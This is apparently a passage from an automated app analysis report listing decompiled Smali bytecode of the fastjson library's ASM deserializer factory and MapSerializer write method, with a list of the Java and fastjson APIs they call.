                                                26invoke-virtual {v5, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                28invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                29move-result-object v3
                                                31invoke-direct {v4, p1, v10, v3, v8}, Lcom/alibaba/fastjson/asm/FieldWriter;-><init>(Lcom/alibaba/fastjson/asm/ClassWriter;ILjava/lang/String;Ljava/lang/String;)V
                                                33invoke-virtual {v4}, Lcom/alibaba/fastjson/asm/FieldWriter;->visitEnd()V
                                                34add-int/lit8 v2, v2, 0x1
                                                35goto/16 :goto_8
                                                36cond_31:
                                                37invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$200(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)[Lcom/alibaba/fastjson/util/FieldInfo;
                                                38move-result-object v0
                                                39array-length v0, v0
                                                40const/4 v2, 0x0
                                                41goto_37: if-ge v2, v0, :cond_96
                                                43invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$200(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)[Lcom/alibaba/fastjson/util/FieldInfo;
                                                44move-result-object v3
                                                45aget-object v3, v3, v2
                                                47iget-object v4, v3, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                49invoke-virtual {v4}, Ljava/lang/Class;->isPrimitive()Z
                                                50move-result v5
                                                51if-eqz v5, :cond_48
                                                52goto/16 :goto_93
                                                53cond_48: const-class v5, Ljava/util/Collection;
                                                55invoke-virtual {v5, v4}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                56move-result v4
                                                57if-eqz v4, :cond_72
                                                58new-instance v4, Lcom/alibaba/fastjson/asm/FieldWriter;
                                                59new-instance v5, Ljava/lang/StringBuilder;
                                                61invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                                                63iget-object v3, v3, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                65invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                67const-string v3, "_asm_list_item_deser__"
                                                69invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                71invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                72move-result-object v3
                                                73const-class v5, Lcom/alibaba/fastjson/parser/deserializer/ObjectDeserializer;
                                                75invoke-static {v5}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                76move-result-object v5
                                                78invoke-direct {v4, p1, v10, v3, v5}, Lcom/alibaba/fastjson/asm/FieldWriter;-><init>(Lcom/alibaba/fastjson/asm/ClassWriter;ILjava/lang/String;Ljava/lang/String;)V
                                                80invoke-virtual {v4}, Lcom/alibaba/fastjson/asm/FieldWriter;->visitEnd()V
                                                81goto/16 :goto_93
                                                82cond_72: new-instance v4, Lcom/alibaba/fastjson/asm/FieldWriter;
                                                83new-instance v5, Ljava/lang/StringBuilder;
                                                85invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                                                87iget-object v3, v3, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                89invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                91const-string v3, "_asm_deser__"
                                                93invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                95invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                96move-result-object v3
                                                97const-class v5, Lcom/alibaba/fastjson/parser/deserializer/ObjectDeserializer;
                                                99invoke-static {v5}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                100move-result-object v5
                                                102invoke-direct {v4, p1, v10, v3, v5}, Lcom/alibaba/fastjson/asm/FieldWriter;-><init>(Lcom/alibaba/fastjson/asm/ClassWriter;ILjava/lang/String;Ljava/lang/String;)V
                                                104invoke-virtual {v4}, Lcom/alibaba/fastjson/asm/FieldWriter;->visitEnd()V
                                                105goto_93: add-int/lit8 v2, v2, 0x1
                                                106goto/16 :goto_37
                                                107cond_96: new-instance v11, Lcom/alibaba/fastjson/asm/MethodWriter;
                                                108const/4 v2, 0x1
                                                109new-instance v0, Ljava/lang/StringBuilder;
                                                111invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                113const-string v12, "("
                                                115invoke-virtual {v0, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                116const-class v3, Lcom/alibaba/fastjson/parser/ParserConfig;
                                                118invoke-static {v3}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                119move-result-object v3
                                                121invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                122const-class v3, Lcom/alibaba/fastjson/util/JavaBeanInfo;
                                                124invoke-static {v3}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                125move-result-object v3
                                                127invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                129const-string v13, ")V"
                                                131invoke-virtual {v0, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                133invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                134move-result-object v4
                                                135const/4 v5, 0x0
                                                136const/4 v6, 0x0
                                                138const-string v3, "<init>"
                                                139move-object v0, v11
                                                140move-object v1, p1
                                                142invoke-direct/range {v0 .. v6}, Lcom/alibaba/fastjson/asm/MethodWriter;-><init>(Lcom/alibaba/fastjson/asm/ClassWriter;ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)V
                                                143const/16 v0, 0x19
                                                145invoke-interface {v11, v0, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                147invoke-interface {v11, v0, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                148const/4 v1, 0x2
                                                150invoke-interface {v11, v0, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                151const/16 v1, 0xb7
                                                152const-class v2, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;
                                                154invoke-static {v2}, Lcom/alibaba/fastjson/util/ASMUtils;->type(Ljava/lang/Class;)Ljava/lang/String;
                                                155move-result-object v2
                                                156new-instance v3, Ljava/lang/StringBuilder;
                                                158invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                160invoke-virtual {v3, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                161const-class v4, Lcom/alibaba/fastjson/parser/ParserConfig;
                                                163invoke-static {v4}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                164move-result-object v4
                                                166invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                167const-class v4, Lcom/alibaba/fastjson/util/JavaBeanInfo;
                                                169invoke-static {v4}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                170move-result-object v4
                                                172invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                174invoke-virtual {v3, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                176invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                177move-result-object v3
                                                179const-string v4, "<init>"
                                                181invoke-interface {v11, v1, v2, v4, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                183invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$200(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)[Lcom/alibaba/fastjson/util/FieldInfo;
                                                184move-result-object v1
                                                185array-length v1, v1
                                                186const/4 v2, 0x0
                                                187goto_107: if-ge v2, v1, :cond_155
                                                189invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$200(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)[Lcom/alibaba/fastjson/util/FieldInfo;
                                                190move-result-object v3
                                                191aget-object v3, v3, v2
                                                193invoke-interface {v11, v0, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                194new-instance v4, Ljava/lang/StringBuilder;
                                                196invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                198const-string v5, "\""
                                                200invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                202iget-object v5, v3, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                204invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                206const-string v5, "\":"
                                                208invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                210invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                211move-result-object v4
                                                213invoke-interface {v11, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                214const/16 v4, 0xb6
                                                216const-string v5, "java/lang/String"
                                                218const-string v6, "toCharArray"
                                                220const-string v10, "()[C"
                                                222invoke-interface {v11, v4, v5, v6, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                223const/16 v4, 0xb5
                                                225invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->access$300(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;)Ljava/lang/String;
                                                226move-result-object v5
                                                227new-instance v6, Ljava/lang/StringBuilder;
                                                229invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                                                231iget-object v3, v3, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                233invoke-virtual {v6, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                235invoke-virtual {v6, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                237invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                238move-result-object v3
                                                240invoke-interface {v11, v4, v5, v3, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                241add-int/lit8 v2, v2, 0x1
                                                242goto/16 :goto_107
                                                243cond_155: const/16 v0, 0xb1
                                                245invoke-interface {v11, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                246const/4 v0, 0x4
                                                248invoke-interface {v11, v0, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMaxs(II)V
                                                250invoke-interface {v11}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitEnd()V
                                                251return-void
                                                APIs
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeNull
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteClassName:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializeWriter.isEnabled
                                                • java.lang.Object.getClass
                                                • java.util.Map.containsKey
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeFieldName
                                                • java.lang.Object.getClass
                                                • java.lang.Class.getName
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeString
                                                • java.util.Map.entrySet
                                                • java.util.Set.iterator
                                                • java.util.Iterator.hasNext
                                                • java.util.Iterator.next
                                                • java.util.Map$Entry.getValue
                                                • java.util.Map$Entry.getKey
                                                • java.util.List.size
                                                • java.lang.Object.getClass
                                                • java.lang.Class.isPrimitive
                                                • java.util.List.size
                                                • java.lang.Object.getClass
                                                • java.lang.Class.isPrimitive
                                                • java.util.List.size
                                                • java.lang.Object.getClass
                                                • java.lang.Class.isPrimitive
                                                • java.util.List.size
                                                • java.lang.Object.getClass
                                                • java.lang.Class.isPrimitive
                                                • java.util.List.size
                                                • java.lang.Object.getClass
                                                • java.lang.Class.isPrimitive
                                                • java.util.List.size
                                                • java.lang.Object.getClass
                                                • java.lang.Class.isPrimitive
                                                • java.util.List.size
                                                • java.util.List.size
                                                • java.lang.Object.getClass
                                                • java.lang.Class.isPrimitive
                                                • java.util.List.size
                                                • java.util.List.size
                                                • java.lang.Object.getClass
                                                • java.lang.Class.isPrimitive
                                                • com.alibaba.fastjson.serializer.SerializeWriter.isEnabled
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializerFeature.PrettyFormat:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializeWriter.isEnabled
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeFieldName
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializerFeature.BrowserCompatible:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializeWriter.isEnabled
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteNonStringKeyAsString:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializeWriter.isEnabled
                                                • com.alibaba.fastjson.serializer.SerializerFeature.BrowserSecure:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializeWriter.isEnabled
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeNull
                                                • java.lang.Object.getClass
                                                • com.alibaba.fastjson.serializer.SerializerFeature.PrettyFormat:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializeWriter.isEnabled
                                                • java.util.Map.size
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Throws;
                                                1value = {
                                                2Ljava/io/IOException;
                                                3}
                                                4.end annotation
                                                5move-object/from16 v7, p0
                                                6move-object/from16 v8, p1
                                                7move-object/from16 v0, p2
                                                9iget-object v9, v8, Lcom/alibaba/fastjson/serializer/JSONSerializer;->out:Lcom/alibaba/fastjson/serializer/SerializeWriter;
                                                10if-nez v0, :cond_e
                                                12invoke-virtual {v9}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeNull()V
                                                13return-void
                                                14cond_e: move-object v10, v0
                                                15check-cast v10, Ljava/util/Map;
                                                17invoke-virtual/range {p1 .. p2}, Lcom/alibaba/fastjson/serializer/JSONSerializer;->containsReference(Ljava/lang/Object;)Z
                                                18move-result v1
                                                19if-eqz v1, :cond_1b
                                                21invoke-virtual/range {p1 .. p2}, Lcom/alibaba/fastjson/serializer/JSONSerializer;->writeReference(Ljava/lang/Object;)V
                                                22return-void
                                                23cond_1b:
                                                24iget-object v11, v8, Lcom/alibaba/fastjson/serializer/JSONSerializer;->context:Lcom/alibaba/fastjson/serializer/SerialContext;
                                                25const/4 v12, 0x0
                                                26move-object/from16 v1, p3
                                                28invoke-virtual {v8, v11, v0, v1, v12}, Lcom/alibaba/fastjson/serializer/JSONSerializer;->setContext(Lcom/alibaba/fastjson/serializer/SerialContext;Ljava/lang/Object;Ljava/lang/Object;I)V
                                                29const/16 v1, 0x7b
                                                30try_start_25:
                                                31invoke-virtual {v9, v1}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                33invoke-virtual/range {p1 .. p1}, Lcom/alibaba/fastjson/serializer/JSONSerializer;->incrementIndent()V
                                                35sget-object v1, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteClassName:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                37invoke-virtual {v9, v1}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->isEnabled(Lcom/alibaba/fastjson/serializer/SerializerFeature;)Z
                                                38move-result v1
                                                39const/4 v13, 0x1
                                                40if-eqz v1, :cond_63
                                                42iget-object v1, v8, Lcom/alibaba/fastjson/serializer/JSONSerializer;->config:Lcom/alibaba/fastjson/serializer/SerializeConfig;
                                                44iget-object v1, v1, Lcom/alibaba/fastjson/serializer/SerializeConfig;->typeKey:Ljava/lang/String;
                                                46invoke-virtual {v10}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                47move-result-object v2
                                                48const-class v3, Lcom/alibaba/fastjson/JSONObject;
                                                49if-eq v2, v3, :cond_48
                                                50const-class v3, Ljava/util/HashMap;
                                                51if-eq v2, v3, :cond_48
                                                52const-class v3, Ljava/util/LinkedHashMap;
                                                53if-ne v2, v3, :cond_50
                                                54cond_48:
                                                55invoke-interface {v10, v1}, Ljava/util/Map;->containsKey(Ljava/lang/Object;)Z
                                                56move-result v2
                                                57if-eqz v2, :cond_50
                                                58const/4 v2, 0x1
                                                59goto/16 :goto_51
                                                60cond_50: const/4 v2, 0x0
                                                61goto_51: if-nez v2, :cond_63
                                                63invoke-virtual {v9, v1}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeFieldName(Ljava/lang/String;)V
                                                65invoke-virtual/range {p2 .. p2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                66move-result-object v1
                                                68invoke-virtual {v1}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                                69move-result-object v1
                                                71invoke-virtual {v9, v1}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeString(Ljava/lang/String;)V
                                                72const/4 v1, 0x0
                                                73goto/16 :goto_64
                                                74cond_63: const/4 v1, 0x1
                                                75goto_64:
                                                76invoke-interface {v10}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                                77move-result-object v2
                                                79invoke-interface {v2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                                80move-result-object v14
                                                81const/4 v2, 0x0
                                                82move v15, v1
                                                83move-object v6, v2
                                                84move-object/from16 v16, v6
                                                85goto_71:
                                                86invoke-interface {v14}, Ljava/util/Iterator;->hasNext()Z
                                                87move-result v1
                                                88if-eqz v1, :cond_2ec
                                                90invoke-interface {v14}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                91move-result-object v1
                                                92check-cast v1, Ljava/util/Map$Entry;
                                                94invoke-interface {v1}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                                95move-result-object v5
                                                97invoke-interface {v1}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                                98move-result-object v1
                                                100iget-object v2, v8, Lcom/alibaba/fastjson/serializer/JSONSerializer;->propertyPreFilters:Ljava/util/List;
                                                101if-eqz v2, :cond_bc
                                                103invoke-interface {v2}, Ljava/util/List;->size()I
                                                104move-result v2
                                                105if-lez v2, :cond_bc
                                                106if-eqz v1, :cond_af
                                                107instance-of v2, v1, Ljava/lang/String;
                                                108if-eqz v2, :cond_96
                                                109goto/16 :goto_af
                                                110cond_96:
                                                111invoke-virtual {v1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                112move-result-object v2
                                                114invoke-virtual {v2}, Ljava/lang/Class;->isPrimitive()Z
                                                115move-result v2
                                                116if-nez v2, :cond_a4
                                                117instance-of v2, v1, Ljava/lang/Number;
                                                118if-eqz v2, :cond_bc
                                                119cond_a4:
                                                120invoke-static {v1}, Lcom/alibaba/fastjson/JSON;->toJSONString(Ljava/lang/Object;)Ljava/lang/String;
                                                121move-result-object v2
                                                123invoke-virtual {v7, v8, v0, v2}, Lcom/alibaba/fastjson/serializer/MapSerializer;->applyName(Lcom/alibaba/fastjson/serializer/JSONSerializer;Ljava/lang/Object;Ljava/lang/String;)Z
                                                124move-result v2
                                                125if-nez v2, :cond_bc
                                                126goto/16 :goto_b8
                                                127cond_af: move-object v2, v1
                                                128check-cast v2, Ljava/lang/String;
                                                130invoke-virtual {v7, v8, v0, v2}, Lcom/alibaba/fastjson/serializer/MapSerializer;->applyName(Lcom/alibaba/fastjson/serializer/JSONSerializer;Ljava/lang/Object;Ljava/lang/String;)Z
                                                131move-result v2
                                                132if-nez v2, :cond_bc
                                                133goto_b8: move-object/from16 v19, v6
                                                134goto/16 :goto_26b
                                                135cond_bc:
                                                136iget-object v2, v7, Lcom/alibaba/fastjson/serializer/MapSerializer;->propertyPreFilters:Ljava/util/List;
                                                137if-eqz v2, :cond_f0
                                                139invoke-interface {v2}, Ljava/util/List;->size()I
                                                140move-result v2
                                                141if-lez v2, :cond_f0
                                                142if-eqz v1, :cond_e6
                                                143instance-of v2, v1, Ljava/lang/String;
                                                144if-eqz v2, :cond_cd
                                                145goto/16 :goto_e6
                                                146cond_cd:
                                                147invoke-virtual {v1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                148move-result-object v2
                                                150invoke-virtual {v2}, Ljava/lang/Class;->isPrimitive()Z
                                                151move-result v2
                                                152if-nez v2, :cond_db
                                                153instance-of v2, v1, Ljava/lang/Number;
                                                154if-eqz v2, :cond_f0
                                                155cond_db:
                                                156invoke-static {v1}, Lcom/alibaba/fastjson/JSON;->toJSONString(Ljava/lang/Object;)Ljava/lang/String;
                                                157move-result-object v2
                                                159invoke-virtual {v7, v8, v0, v2}, Lcom/alibaba/fastjson/serializer/MapSerializer;->applyName(Lcom/alibaba/fastjson/serializer/JSONSerializer;Ljava/lang/Object;Ljava/lang/String;)Z
                                                160move-result v2
                                                161if-nez v2, :cond_f0
                                                162goto/16 :goto_b8
                                                163goto_e6: move-object v2, v1
                                                164check-cast v2, Ljava/lang/String;
                                                166invoke-virtual {v7, v8, v0, v2}, Lcom/alibaba/fastjson/serializer/MapSerializer;->applyName(Lcom/alibaba/fastjson/serializer/JSONSerializer;Ljava/lang/Object;Ljava/lang/String;)Z
                                                167move-result v2
                                                168if-nez v2, :cond_f0
                                                169goto/16 :goto_b8
                                                170cond_f0:
                                                171iget-object v2, v8, Lcom/alibaba/fastjson/serializer/JSONSerializer;->propertyFilters:Ljava/util/List;
                                                172if-eqz v2, :cond_124
                                                174invoke-interface {v2}, Ljava/util/List;->size()I
                                                175move-result v2
                                                176if-lez v2, :cond_124
                                                177if-eqz v1, :cond_11a
                                                178instance-of v2, v1, Ljava/lang/String;
                                                179if-eqz v2, :cond_101
                                                180goto/16 :goto_11a
                                                181cond_101:
                                                182invoke-virtual {v1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                183move-result-object v2
                                                185invoke-virtual {v2}, Ljava/lang/Class;->isPrimitive()Z
                                                186move-result v2
                                                187if-nez v2, :cond_10f
                                                188instance-of v2, v1, Ljava/lang/Number;
                                                189if-eqz v2, :cond_124
                                                190cond_10f:
                                                191invoke-static {v1}, Lcom/alibaba/fastjson/JSON;->toJSONString(Ljava/lang/Object;)Ljava/lang/String;
                                                192move-result-object v2
                                                194invoke-virtual {v7, v8, v0, v2, v5}, Lcom/alibaba/fastjson/serializer/MapSerializer;->apply(Lcom/alibaba/fastjson/serializer/JSONSerializer;Ljava/lang/Object;Ljava/lang/String;Ljava/lang/Object;)Z
                                                195move-result v2
                                                196if-nez v2, :cond_124
                                                197goto/16 :goto_b8
                                                198cond_11a: move-object v2, v1
                                                199check-cast v2, Ljava/lang/String;
                                                201invoke-virtual {v7, v8, v0, v2, v5}, Lcom/alibaba/fastjson/serializer/MapSerializer;->apply(Lcom/alibaba/fastjson/serializer/JSONSerializer;Ljava/lang/Object;Ljava/lang/String;Ljava/lang/Object;)Z
                                                202move-result v2
                                                203if-nez v2, :cond_124
                                                204goto/16 :goto_b8
                                                205cond_124:
                                                206iget-object v2, v7, Lcom/alibaba/fastjson/serializer/MapSerializer;->propertyFilters:Ljava/util/List;
                                                207if-eqz v2, :cond_15a
                                                209invoke-interface {v2}, Ljava/util/List;->size()I
                                                210move-result v2
                                                211if-lez v2, :cond_15a
                                                212if-eqz v1, :cond_14f
                                                213instance-of v2, v1, Ljava/lang/String;
                                                214if-eqz v2, :cond_135
                                                215goto/16 :goto_14f
                                                216cond_135:
                                                217invoke-virtual {v1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                218move-result-object v2
                                                220invoke-virtual {v2}, Ljava/lang/Class;->isPrimitive()Z
                                                221move-result v2
                                                222if-nez v2, :cond_143
                                                223instance-of v2, v1, Ljava/lang/Number;
                                                224if-eqz v2, :cond_15a
                                                225cond_143:
                                                226invoke-static {v1}, Lcom/alibaba/fastjson/JSON;->toJSONString(Ljava/lang/Object;)Ljava/lang/String;
                                                227move-result-object v2
                                                229invoke-virtual {v7, v8, v0, v2, v5}, Lcom/alibaba/fastjson/serializer/MapSerializer;->apply(Lcom/alibaba/fastjson/serializer/JSONSerializer;Ljava/lang/Object;Ljava/lang/String;Ljava/lang/Object;)Z
                                                230move-result v2
                                                231if-nez v2, :cond_15a
                                                232goto/16 :goto_b8
                                                233goto_14f: move-object v2, v1
                                                234check-cast v2, Ljava/lang/String;
                                                236invoke-virtual {v7, v8, v0, v2, v5}, Lcom/alibaba/fastjson/serializer/MapSerializer;->apply(Lcom/alibaba/fastjson/serializer/JSONSerializer;Ljava/lang/Object;Ljava/lang/String;Ljava/lang/Object;)Z
                                                237move-result v2
                                                238if-nez v2, :cond_15a
                                                239goto/16 :goto_b8
                                                240cond_15a:
                                                241iget-object v2, v8, Lcom/alibaba/fastjson/serializer/JSONSerializer;->nameFilters:Ljava/util/List;
                                                242if-eqz v2, :cond_188
                                                244invoke-interface {v2}, Ljava/util/List;->size()I
                                                245move-result v2
                                                246if-lez v2, :cond_188
                                                247if-eqz v1, :cond_182
                                                248instance-of v2, v1, Ljava/lang/String;
                                                249if-eqz v2, :cond_16b
                                                250goto/16 :goto_182
                                                251cond_16b:
                                                252invoke-virtual {v1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                253move-result-object v2
                                                255invoke-virtual {v2}, Ljava/lang/Class;->isPrimitive()Z
                                                256move-result v2
                                                257if-nez v2, :cond_179
                                                258instance-of v2, v1, Ljava/lang/Number;
                                                259if-eqz v2, :cond_188
                                                260cond_179:
                                                261invoke-static {v1}, Lcom/alibaba/fastjson/JSON;->toJSONString(Ljava/lang/Object;)Ljava/lang/String;
                                                262move-result-object v1
                                                264invoke-virtual {v7, v8, v0, v1, v5}, Lcom/alibaba/fastjson/serializer/MapSerializer;->processKey(Lcom/alibaba/fastjson/serializer/JSONSerializer;Ljava/lang/Object;Ljava/lang/String;Ljava/lang/Object;)Ljava/lang/String;
                                                265move-result-object v1
                                                266goto/16 :goto_188
                                                267goto_182: check-cast v1, Ljava/lang/String;
                                                269invoke-virtual {v7, v8, v0, v1, v5}, Lcom/alibaba/fastjson/serializer/MapSerializer;->processKey(Lcom/alibaba/fastjson/serializer/JSONSerializer;Ljava/lang/Object;Ljava/lang/String;Ljava/lang/Object;)Ljava/lang/String;
                                                270move-result-object v1
                                                271goto_188:
                                                272iget-object v2, v7, Lcom/alibaba/fastjson/serializer/MapSerializer;->nameFilters:Ljava/util/List;
                                                273if-eqz v2, :cond_1b6
                                                275invoke-interface {v2}, Ljava/util/List;->size()I
                                                276move-result v2
                                                277if-lez v2, :cond_1b6
                                                278if-eqz v1, :cond_1b0
                                                279instance-of v2, v1, Ljava/lang/String;
                                                280if-eqz v2, :cond_199
                                                281goto/16 :goto_1b0
                                                282cond_199:
                                                283invoke-virtual {v1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                284move-result-object v2
                                                286invoke-virtual {v2}, Ljava/lang/Class;->isPrimitive()Z
                                                287move-result v2
                                                288if-nez v2, :cond_1a7
                                                289instance-of v2, v1, Ljava/lang/Number;
                                                290if-eqz v2, :cond_1b6
                                                291cond_1a7:
                                                292invoke-static {v1}, Lcom/alibaba/fastjson/JSON;->toJSONString(Ljava/lang/Object;)Ljava/lang/String;
                                                293move-result-object v1
                                                295invoke-virtual {v7, v8, v0, v1, v5}, Lcom/alibaba/fastjson/serializer/MapSerializer;->processKey(Lcom/alibaba/fastjson/serializer/JSONSerializer;Ljava/lang/Object;Ljava/lang/String;Ljava/lang/Object;)Ljava/lang/String;
                                                296move-result-object v1
                                                297goto/16 :goto_1b6
                                                298cond_1b0: check-cast v1, Ljava/lang/String;
                                                300invoke-virtual {v7, v8, v0, v1, v5}, Lcom/alibaba/fastjson/serializer/MapSerializer;->processKey(Lcom/alibaba/fastjson/serializer/JSONSerializer;Ljava/lang/Object;Ljava/lang/String;Ljava/lang/Object;)Ljava/lang/String;
                                                301move-result-object v1
                                                302cond_1b6: move-object v4, v1
                                                304iget-object v1, v8, Lcom/alibaba/fastjson/serializer/JSONSerializer;->valueFilters:Ljava/util/List;
